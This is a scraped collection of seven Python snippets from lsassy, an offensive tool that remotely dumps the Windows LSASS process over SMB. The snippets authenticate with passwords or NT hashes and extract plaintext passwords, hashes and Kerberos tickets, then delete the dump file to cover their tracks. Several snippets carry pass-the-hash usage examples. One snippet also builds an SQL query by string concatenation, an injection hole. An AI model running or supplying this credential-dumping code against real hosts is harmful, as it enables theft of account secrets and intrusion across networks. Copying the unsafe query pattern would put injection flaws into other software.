Exemplo n.º 1
0
 def run_lsassy(
     self, context, connection
 ):  # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo!
     logger.init(quiet=True)
     host = connection.host
     domain_name = connection.domain
     username = connection.username
     password = getattr(connection, "password", "")
     lmhash = getattr(connection, "lmhash", "")
     nthash = getattr(connection, "nthash", "")
     session = Session()
     session.get_session(address=host,
                         target_ip=host,
                         port=445,
                         lmhash=lmhash,
                         nthash=nthash,
                         username=username,
                         password=password,
                         domain=domain_name)
     if session.smb_session is None:
         context.log.error(
             "Couldn't connect to remote host. Password likely expired/changed. Removing from DB."
         )
         cursor.execute(
             "UPDATE admin_users SET hash = NULL WHERE username LIKE '" +
             username + "'")
         return False
     dumper = Dumper(session, timeout=10,
                     time_between_commands=7).load(self.method)
     if dumper is None:
         context.log.error("Unable to load dump method '{}'".format(
             self.method))
         return False
     file = dumper.dump()
     if file is None:
         context.log.error("Unable to dump lsass")
         return False
     credentials, tickets, masterkeys = Parser(file).parse()
     file.close()
     ImpacketFile.delete(session, file.get_file_path())
     if credentials is None:
         credentials = []
     credentials = [
         cred.get_object() for cred in credentials
         if not cred.get_username().endswith("$")
     ]
     credentials_unique = []
     credentials_output = []
     for cred in credentials:
         if [
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
         ] not in credentials_unique:
             credentials_unique.append([
                 cred["domain"], cred["username"], cred["password"],
                 cred["lmhash"], cred["nthash"]
             ])
             credentials_output.append(cred)
     global credentials_data
     credentials_data = credentials_output
Exemplo n.º 2
0
    def on_admin_login(self, context, connection):
        logger.init(quiet=True)
        host = connection.host
        domain_name = connection.domain
        username = connection.username
        password = getattr(connection, "password", "")
        lmhash = getattr(connection, "lmhash", "")
        nthash = getattr(connection, "nthash", "")

        session = Session()
        session.get_session(address=host,
                            target_ip=host,
                            port=445,
                            lmhash=lmhash,
                            nthash=nthash,
                            username=username,
                            password=password,
                            domain=domain_name)

        if session.smb_session is None:
            context.log.error("Couldn't connect to remote host")
            return False

        dumper = Dumper(session, timeout=10).load(self.method)
        if dumper is None:
            context.log.error("Unable to load dump method '{}'".format(
                self.method))
            return False
        file = dumper.dump()
        if file is None:
            context.log.error("Unable to dump lsass")
            return False

        credentials, tickets = Parser(file).parse()
        file.close()
        ImpacketFile.delete(session, file.get_file_path())
        if credentials is None:
            credentials = []
        credentials = [
            cred.get_object() for cred in credentials
            if not cred.get_username().endswith("$")
        ]
        credentials_unique = []
        credentials_output = []
        for cred in credentials:
            if [
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
            ] not in credentials_unique:
                credentials_unique.append([
                    cred["domain"], cred["username"], cred["password"],
                    cred["lmhash"], cred["nthash"]
                ])
                credentials_output.append(cred)
        self.process_credentials(context, connection, credentials_output)
Exemplo n.º 3
0
def main():
    """
        Command line function to call lsassy
        """
    version = __version__
    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(
            __version__))

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--dump-method',
                            action='store',
                            default="comsvcs",
                            help="Dumping method ({})".format(', '.join(
                                Dumper.list_dump_methods())))
    group_dump.add_argument(
        '--dump-path',
        action='store',
        help='Path to store lsass dumpfile (Default: \\Windows\\Temp)')
    group_dump.add_argument(
        '--dump-name',
        action='store',
        help='Name given to lsass dumpfile (Default: Random)')
    group_dump.add_argument(
        '-e',
        '--exec',
        action='store',
        help='List of execution methods, comma separated (From {})'.format(
            ', '.join(Dumper.list_exec_methods())))
    group_dump.add_argument('--no-powershell',
                            action='store_true',
                            help='Disable PowerShell')
    group_dump.add_argument(
        '--copy',
        action='store_true',
        help='Copies cmd or powershell with random name before using it')
    group_dump.add_argument(
        '-O',
        '--options',
        action='store',
        help=
        'Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe'
    )
    group_dump.add_argument(
        '--timeout',
        action='store',
        type=int,
        default=5,
        help='Max time to wait for lsass dump (Default 5s)')
    group_dump.add_argument('--parse-only',
                            action='store_true',
                            help='Parse dump without dumping')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('-u',
                            '--username',
                            action='store',
                            help='Username')
    group_auth.add_argument('-p',
                            '--password',
                            action='store',
                            help='Plaintext password')
    group_auth.add_argument('-d',
                            '--domain',
                            default="",
                            action='store',
                            help='Domain name')
    group_auth.add_argument('--port',
                            default=445,
                            type=int,
                            action='store',
                            help='Port (Default: 445)')
    group_auth.add_argument('--no-pass',
                            action='store_true',
                            help='Do not provide password (Default: False)')
    group_auth.add_argument('-H',
                            '--hashes',
                            action='store',
                            help='[LM:]NT hash')
    group_auth.add_argument(
        '-k',
        '--kerberos',
        action="store_true",
        help=
        'Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
        'target parameters. If valid credentials '
        'cannot be found, it will use the ones specified in the command line')
    group_auth.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the domain controller. If omitted it will use the domain part (FQDN) '
        'specified in the target parameter')
    group_auth.add_argument('-aesKey',
                            action="store",
                            metavar="hex key",
                            help='AES key to use for Kerberos Authentication '
                            '(128 or 256 bits)')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-K',
                           '--kerberos-dir',
                           action='store',
                           help='Save kerberos tickets to a directory')
    group_out.add_argument('-o',
                           '--outfile',
                           action='store',
                           help='Output credentials to file')
    group_out.add_argument('-f',
                           '--format',
                           choices=["pretty", "json", "grep", "table"],
                           action='store',
                           default="pretty",
                           help='Output format (Default pretty)')
    group_out.add_argument(
        '--users',
        action='store_true',
        help='Only display user accounts (No computer accounts)')

    parser.add_argument('-v',
                        action='count',
                        default=0,
                        help='Verbosity level (-v or -vv)')
    parser.add_argument('--threads',
                        default=10,
                        type=int,
                        action='store',
                        help='Threads number')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument(
        'target',
        nargs='*',
        type=str,
        action='store',
        help=
        'The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) '
        'containing a list of targets')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    ThreadPool(args.target, args).run()
Exemplo n.º 4
0
    def run(self):
        """
        Main method to dump credentials on a remote host
        """
        session, file, dumper, method = None, None, None, None

        # Credential parsing
        username = self.args.username if self.args.username else ""
        password = self.args.password if self.args.password else ""

        lmhash, nthash = "", ""
        if not password and self.args.hashes:
            if ":" in self.args.hashes:
                lmhash, nthash = self.args.hashes.split(":")
            else:
                lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes

        # Exec methods parsing
        exec_methods = self.args.exec.split(",") if self.args.exec else None

        # Dump modules options parsing
        options = {
            v.split("=")[0]: v.split("=")[1]
            for v in self.args.options.split(",")
        } if self.args.options else {}

        # Dump path checks
        dump_path = self.args.dump_path
        if dump_path:
            dump_path = dump_path.replace('/', '\\')
            if len(dump_path) > 1 and dump_path[1] == ":":
                if dump_path[0] != "C":
                    logging.error(
                        "Drive '{}' is not supported. 'C' drive only.".format(
                            dump_path[0]))
                    return False
                dump_path = dump_path[2:]
            if dump_path[-1] != "\\":
                dump_path += "\\"

        parse_only = self.args.parse_only
        kerberos_dir = self.args.kerberos_dir

        if parse_only and (dump_path is None or self.args.dump_name is None):
            logging.error(
                "--dump-path and --dump-name required for --parse-only option")
            return False

        try:
            session = Session()
            session.get_session(address=self.target,
                                target_ip=self.target,
                                port=self.args.port,
                                lmhash=lmhash,
                                nthash=nthash,
                                username=username,
                                password=password,
                                domain=self.args.domain,
                                aesKey=self.args.aesKey,
                                dc_ip=self.args.dc_ip,
                                kerberos=self.args.kerberos,
                                timeout=self.args.timeout)

            if session.smb_session is None:
                logging.error("Couldn't connect to remote host")
                return False

            if not parse_only:
                dumper = Dumper(session,
                                self.args.timeout).load(self.args.dump_method)
                if dumper is None:
                    logging.error("Unable to load dump module")
                    return False

                file = dumper.dump(no_powershell=self.args.no_powershell,
                                   exec_methods=exec_methods,
                                   dump_path=dump_path,
                                   dump_name=self.args.dump_name,
                                   timeout=self.args.timeout,
                                   **options)
                if file is None:
                    logging.error("Unable to dump lsass.")
                    return False
            else:
                file = ImpacketFile(session).open(share="C$",
                                                  path=dump_path,
                                                  file=self.args.dump_name,
                                                  timeout=self.args.timeout)
                if file is None:
                    logging.error("Unable to open lsass dump.")
                    return False

            credentials, tickets = Parser(file).parse()
            file.close()

            if not parse_only:
                ImpacketFile.delete(session,
                                    file.get_file_path(),
                                    timeout=self.args.timeout)
                logging.success("Lsass dump successfully deleted")
            else:
                logging.debug(
                    "Not deleting lsass dump as --parse-only was provided")

            if credentials is None:
                logging.error(
                    "Unable to extract credentials from lsass. Cleaning.")
                return False

            with lock:
                Writer(credentials,
                       tickets).write(self.args.format,
                                      output_file=self.args.outfile,
                                      quiet=self.args.quiet,
                                      users_only=self.args.users,
                                      kerberos_dir=kerberos_dir)

        except KeyboardInterrupt:
            pass
        except Exception as e:
            logging.error("An unknown error has occurred.", exc_info=True)
        finally:
            logging.debug("Cleaning...")
            logging.debug("dumper: {}".format(dumper))
            logging.debug("file: {}".format(file))
            logging.debug("session: {}".format(session))
            try:
                dumper.clean()
                logging.debug("Dumper cleaned")
            except Exception as e:
                logging.debug(
                    "Potential issue while cleaning dumper: {}".format(str(e)))

            try:
                file.close()
                logging.debug("File closed")
            except Exception as e:
                logging.debug("Potential issue while closing file: {}".format(
                    str(e)))

            if not parse_only:
                try:
                    if ImpacketFile.delete(session,
                                           file_path=file.get_file_path(),
                                           timeout=self.args.timeout):
                        logging.debug("Lsass dump successfully deleted")
                except Exception as e:
                    try:
                        logging.debug(
                            "Couldn't delete lsass dump using file. Trying dump object..."
                        )
                        if ImpacketFile.delete(session,
                                               file_path=dumper.dump_path +
                                               dumper.dump_name,
                                               timeout=self.args.timeout):
                            logging.debug("Lsass dump successfully deleted")
                    except Exception as e:
                        logging.debug(
                            "Potential issue while deleting lsass dump: {}".
                            format(str(e)))

            try:
                session.smb_session.close()
                logging.debug("SMB session closed")
            except Exception as e:
                logging.debug(
                    "Potential issue while closing SMB session: {}".format(
                        str(e)))
Exemplo n.º 5
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter
    )

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format')
    group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method
    0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
    parser.add_argument('-p', '--procdump', action='store', help='Procdump path')
    parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering')
    parser.add_argument('-d', '--debug', action='store_true', help='Debug output')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None

    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        file_path = dumper.dump()
        if not file_path:
            logger.error("lsass could not be dumped")
            exit()
        logger.success("Process lsass.exe is being dumped")

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
Exemplo n.º 6
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter)

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--method',
                            action='store',
                            default="1",
                            help='''Dumping method
    0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    group_dump.add_argument('--dumpname',
                            action='store',
                            help='Name given to lsass dump (Default: Random)')
    group_dump.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='Procdump path')
    group_dump.add_argument(
        '--timeout',
        default="10",
        action='store',
        help='Timeout before considering lsass was not dumped successfully')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')

    parser.add_argument(
        '-r',
        '--raw',
        action='store_true',
        help=
        'No basic result filtering (Display host credentials and duplicates)')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)

    args = parser.parse_args()
    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)

    if isinstance(conn, RetCode):
        return_code = conn
        lsassy_exit(logger, return_code)

    return_code = conn.isadmin()
    if not return_code.success():
        conn.close()
        lsassy_exit(logger, return_code)

    dumper = None
    ifile = None

    try:
        if not args.dumppath:
            dumper = Dumper(conn, args, logger)
            ifile = dumper.dump()
            if isinstance(ifile, RetCode):
                return_code = ifile
            else:
                logger.success("Process lsass.exe has been dumped")
        else:
            ifile = ImpacketFile(conn, logger).open(args.dumppath)
            if not isinstance(ifile, ImpacketFile):
                return_code = ifile

        if return_code.success():
            dumpfile = pypykatz.parse_minidump_external(ifile)
            ifile.close()
            parser = Parser(dumpfile, logger)
            parser.output(args)
    except KeyboardInterrupt as e:
        print("\nQuitting gracefully...")
        return_code = RetCode(ERROR_USER_INTERRUPTION)
    except Exception as e:
        return_code = RetCode(ERROR_UNDEFINED, e)
        pass
    finally:
        try:
            ifile.close()
        except Exception as e:
            pass
        if dumper is not None:
            dumper.clean()
        conn.close()
        lsassy_exit(logger, return_code)
Exemplo n.º 7
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Procdump Dump Method **
  lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected]
  lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected]
  
  lsassy -d adsec.local/pixis:[email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    group_auth = parser.add_argument_group('procdump (default DLL)')
    group_auth.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='procdump path')
    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-r',
                        '--raw',
                        action='store_true',
                        help='Raw results without filtering')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None
    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        if args.procdump:
            file_path = dumper.dump("procdump")
        else:
            file_path = dumper.dump("dll")
        if not file_path:
            exit()

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()